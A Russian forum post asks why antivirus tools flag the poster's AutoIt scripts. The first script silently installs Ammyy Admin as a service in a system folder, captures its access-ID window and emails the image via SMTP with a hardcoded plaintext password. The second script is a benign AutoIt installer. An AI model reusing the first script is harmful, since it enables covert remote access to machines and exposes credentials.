Юрий
Новичок
- Сообщения
- 82
- Репутация
- 3
День добрый. Автоматизировал Ammyy но его как вирус распознал Avast и Dr. Web (когда я его на яндекс диск залил). Это моя не первая автоматизация и принцип действия антивируса мне не понятен - одни программы автоматизированные он игнорирует, а другие - почему-то материт. В чём беда ? Пытался искать различия между тем скриптом который допускается и который блокируется - особых различий не нашёл
Код Ammy Admin:
Код установки AutoIt: (Тема этой установки)
P.s. Прошу прощения за дубликат, и за то, что в первой теме затронул тему кряков. :-[ :(
Код Ammy Admin:
Код:
#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_Icon=icon.ico
#AutoIt3Wrapper_Res_ProductVersion=3.4.0.0
#AutoIt3Wrapper_Res_Description=Программа удалённого управления
#AutoIt3Wrapper_Res_requestedExecutionLevel=requireAdministrator
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
#Region <<< Библиотеки и Опции >>>
;~ #NoTrayIcon
#RequireAdmin
#include <ScreenCapture.au3>
Opt("WinTitleMatchMode" , 2)
Opt("TrayIconDebug" , 1)
Opt("SendKeyDownDelay" , 5)
Opt("SendKeyDelay" , 100)
Opt("SendAttachMode" , 1)
#EndRegion
#Region <<< Переменные >>>
Global $ToAddress = "[email protected]"
Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
#EndRegion
#Region <<< Функции >>>
Main()
Func Main()
Switch @OSVersion
Case "WIN_XP"
local $Path_AllUsers = @AppDataCommonDir & "\AMMYY"
DirCreate(@SystemDir & "\int")
FileInstall("AA_v3.exe" , @SystemDir & "\int\AA_v3.exe" , 1)
Run(@SystemDir & "\int\AA_v3.exe" , @WindowsDir)
Sleep(1000)
MakeScreenCapture()
WinClose("Ammyy Admin")
FileInstall("settings3.bin" , $Path_AllUsers & "\settings3.bin" , 1)
Run(@SystemDir & "\int\AA_v3.exe" , @WindowsDir)
ServiceActivation()
WinClose("Ammyy Admin")
SendAnEmail()
MsgBox(64 , "Программа" , "Готово!" , 1)
Case Else
Local $Path_ProgrammData = @HomeDrive & "\ProgramData\AMMYY"
local $Path_AllUsers = @HomeDrive & "\Users\All Users\AMMYY"
DirCreate(@WindowsDir & "\system32\int")
FileInstall("AA_v3.exe" , @WindowsDir & "\system32\int\AA_v3.exe" , 1)
Run(@SystemDir & "\int\AA_v3.exe" , @WindowsDir)
Sleep(1000)
MakeScreenCapture()
WinClose("Ammyy Admin")
FileInstall("settings3.bin" , $Path_AllUsers & "\settings3.bin" , 1)
FileInstall("settings3.bin" , $Path_ProgrammData & "\settings3.bin" , 1)
Run(@SystemDir & "\int\AA_v3.exe" , @WindowsDir)
ServiceActivation()
WinClose("Ammyy Admin")
SendAnEmail()
MsgBox(64 , "Программа" , "Готово!" , 1)
EndSwitch
Exit
EndFunc
Func ServiceActivation()
Sleep(500)
WinWait("Ammyy Admin v3.5 - Free")
WinActivate("Ammyy Admin v3.5 - Free")
Send("{LALT}")
Sleep(10)
Send("{DOWN 3}{RIGHT}{ENTER}")
WinWait("Ammyy Admin" , "Сервис Ammyy Admin успешно установлен")
WinActivate("Ammyy Admin" , "Сервис Ammyy Admin успешно установлен")
ControlClick("Ammyy Admin" , "Сервис Ammyy Admin успешно установлен" , "[CLASS:Button; INSTANCE:1]")
WinActivate("Ammyy Admin v3.5 - Free")
Send("{ALT}")
Sleep(10)
Send("{DOWN 3}{RIGHT}{DOWN}{ENTER}")
WinWait("Ammyy Admin" , "Сервис Ammyy Admin запущен.")
WinActivate("Ammyy Admin" , "Сервис Ammyy Admin запущен.")
ControlClick("Ammyy Admin" , "Сервис Ammyy Admin запущен." , "[CLASS:Button; INSTANCE:1]")
EndFunc
Func MakeScreenCapture()
Local $AmmyyPos = WinGetPos("Ammyy Admin")
If @error Then Exit(1)
_ScreenCapture_Capture(@TempDir & '\Ammyy.jpg' , $AmmyyPos[0] , $AmmyyPos[1] , $AmmyyPos[0] + $AmmyyPos[2] , $AmmyyPos[1]+ $AmmyyPos[3])
Local $NewFileName = TimeAndDate()
FileCopy(@TempDir & "\Ammyy.jpg" , $NewFileName , 1)
FileSetAttrib($NewFileName , "+SH")
EndFunc
Func TimeAndDate()
Local $Return = @ScriptDir & "\Ammyy " & @HOUR & "." & @MIN & " " & @MDAY & "." & @MON & "." & @YEAR & ".jpg"
Return $Return
EndFunc
Func SendAnEmail()
Local $SmtpServer, $FromName, $FromAddress, $Subject, $Body, $Username, $Password, $IPPort, $ssl
$SmtpServer = "smtp.yandex.ru"
$FromName = "Ammyy Admin ID"
$FromAddress = "[email protected]"
$Subject = "Print Screen окна Ammyy Admin"
$Body = "<h1>Ammyy Admin</h1><p>Всё для вас, всё для вас =)
" & @MDAY & "." & @MON & "." & @YEAR & " " & @HOUR & ":" & @MIN & "</p>"
$Username = "yur.reg"
$Password = "17021997yur"
$IPPort = 465
$ssl = 1
Local $objEmail = ObjCreate("CDO.Message")
$objEmail.From = '"' & $FromName & '" <' & $FromAddress & '>'
$objEmail.To = $ToAddress
$objEmail.Subject = $Subject
$objEmail.HTMLBody = $Body
$objEmail.AddAttachment(@TempDir & '\Ammyy.jpg')
$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $SmtpServer
$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = $Username
$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $Password
If $ssl Then $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
$objEmail.Configuration.Fields.Update
$objEmail.Fields.Item("urn:schemas:mailheader:Importance") = "High"
$objEmail.Fields.Update
$objEmail.Send
$objEmail = ""
EndFunc
Func MyErrFunc()
Sleep(1)
EndFunc
#EndRegion
Код установки AutoIt: (Тема этой установки)
Код:
#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_Icon=icon.ico
#AutoIt3Wrapper_Res_ProductVersion=3.3.12.1
#AutoIt3Wrapper_Res_Description=AutoIt3+SciTE
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
#Region >>> Библиотеки и Опции <<<
#RequireAdmin
#include <Rar.au3>
Opt("TrayMenuMode" , 3)
Opt("TrayOnEventMode" , 1)
#EndRegion
#Region >>> Функции <<<
Main()
Func Main()
$TrayExit = TrayCreateItem("Выход")
TraySetToolTip("Установка AutoIt и SciTE")
TrayItemSetOnEvent($TrayExit , "_Exit")
_AutoIt()
_SciTE4()
_Addition()
MsgBox( 64 , "Установка AutoIt3" , "AutoIt3 установлен!!!" , 1 )
EndFunc
Func _AutoIt()
FileInstall( "D:\Scripts\AutoIT Scripts\Автоматика\Установки\Установка AutoIt\AutoIt и SciTE\autoit-v3-setup.exe" , @TempDir & "\AutoIt3.exe" , 1 )
Local $Title = "AutoIt v3.3.12.0 Setup"
ShellExecute( @TempDir & "\AutoIt3.exe" , "" , @WindowsDir )
WinWait( $Title )
ControlClick( $Title , "" , "[CLASS:Button; INSTANCE:2]" )
WinWait( $Title , "Press Page Down to see the rest of the agreement." )
ControlClick( $Title , "" , "[CLASS:Button; INSTANCE:2]" )
If @OSArch <> "X86" Then
WinWait( $Title , "64-bit Operating System Support" )
ControlClick( $Title , "" , "[CLASS:Button; INSTANCE:2]" )
EndIf
WinWait( $Title , "Defaults for *.au3" )
ControlClick( $Title , "" , "[CLASS:Button; INSTANCE:5]" )
ControlClick( $Title , "" , "[CLASS:Button; INSTANCE:2]" )
WinWait( $Title , "Choose Components" )
ControlClick( $Title , "" , "[CLASS:Button; INSTANCE:2]" )
WinWait( $Title , "Choose Install Location" )
ControlClick( $Title , "" , "[CLASS:Button; INSTANCE:2]" )
WinWait( $Title , "Completing the AutoIt v3.3.10.1 Setup Wizard" )
ControlClick( $Title , "" , "[CLASS:Button; INSTANCE:4]" )
ControlClick( $Title , "" , "[CLASS:Button; INSTANCE:2]" )
FileDelete( @TempDir & "\AutoIt3.exe" )
EndFunc
Func _SciTE4()
FileInstall( "D:\Scripts\AutoIT Scripts\Автоматика\Установки\Установка AutoIt\AutoIt и SciTE\SciTE4AutoIt3.exe" , @TempDir & "\SciTE4.exe" , 1)
Run( @TempDir & "\SciTE4.exe" )
Local $Title = "SciTE4AutoIt3 13.11.14.16 Setup"
WinWait( $Title )
ControlClick( $Title , "" , 1 )
WinWait( $Title , "&Agree" )
ControlClick( $Title , "" , 1 )
WinWait( $Title , "&Finish" )
ControlClick( $Title , "" , 1 )
FileDelete( @TempDir & "\SciTE4.exe" )
FileSetAttrib( @ProgramFilesDir & "\AutoIt3\*.*" , "-R" , 1 )
EndFunc
Func _Addition()
FileInstall( "D:\Scripts\AutoIT Scripts\Автоматика\Установки\Установка AutoIt\Дополнения\Template\Template.au3" , @WindowsDir & "\ShellNew\Template.au3" , 1 )
DirCreate(@TempDir & "\AutoIt3_Addition")
FileInstall( "D:\Scripts\AutoIT Scripts\Автоматика\Установки\Установка AutoIt\Дополнения\FileOperations.rar" , @TempDir & "\AutoIt3_Addition\FileOperations.rar" , 1 )
FileInstall( "D:\Scripts\AutoIT Scripts\Автоматика\Установки\Установка AutoIt\Дополнения\Icons.rar" , @TempDir & "\AutoIt3_Addition\Icons.rar" , 1 )
FileInstall( "D:\Scripts\AutoIT Scripts\Автоматика\Установки\Установка AutoIt\Дополнения\Include.rar" , @TempDir & "\AutoIt3_Addition\Include.rar" , 1 )
FileInstall( "D:\Scripts\AutoIT Scripts\Автоматика\Установки\Установка AutoIt\Дополнения\IsPressedEx.rar" , @TempDir & "\AutoIt3_Addition\IsPressedEx.rar" , 1 )
FileInstall( "D:\Scripts\AutoIT Scripts\Автоматика\Установки\Установка AutoIt\Дополнения\SciTE Properties.rar" , @TempDir & "\AutoIt3_Addition\SciTE Properties.rar" , 1 )
FileInstall( "D:\Scripts\AutoIT Scripts\Автоматика\Установки\Установка AutoIt\Дополнения\WinAPIEx_3.8_3380.rar" , @TempDir & "\AutoIt3_Addition\WinAPIEx_3.8_3380.rar" , 1 )
FileInstall( "D:\Scripts\AutoIT Scripts\Автоматика\Установки\Установка AutoIt\Дополнения\Директивы AutoIT3 Wrapper.rar" , @TempDir & "\AutoIt3_Addition\Директивы AutoIT3 Wrapper.rar" , 1 )
FileInstall( "D:\Scripts\AutoIT Scripts\Автоматика\Установки\Установка AutoIt\Дополнения\Теги ID3.rar" , @TempDir & "\AutoIt3_Addition\Теги ID3.rar" , 1 )
FileInstall( "D:\Scripts\AutoIT Scripts\Автоматика\Установки\Установка AutoIt\Дополнения\Русская справка.rar" , @TempDir & "\AutoIt3_Addition\Русская справка.rar" , 1 )
RAR_CreateRarExe()
FileSetAttrib(@ScriptDir & "\rar.exe" , "+H" , 1)
Local $Founded , $Search = FileFindFirstFile(@TempDir & "\AutoIt3_Addition\*.rar")
Do
$Founded = FileFindNextFile($Search)
If $Founded <> "" Then
RAR_Extract(@TempDir & "\AutoIt3_Addition\" & $Founded , "" , @ProgramFilesDir & "\AutoIt3")
EndIf
Until @error
FileDelete(@ScriptDir & "\rar.exe")
DirRemove(@TempDir & "\AutoIt3_Addition", 1)
EndFunc
Func _Exit()
Exit
EndFunc
#EndRegion
P.s. Прошу прощения за дубликат, и за то, что в первой теме затронул тему кряков. :-[ :(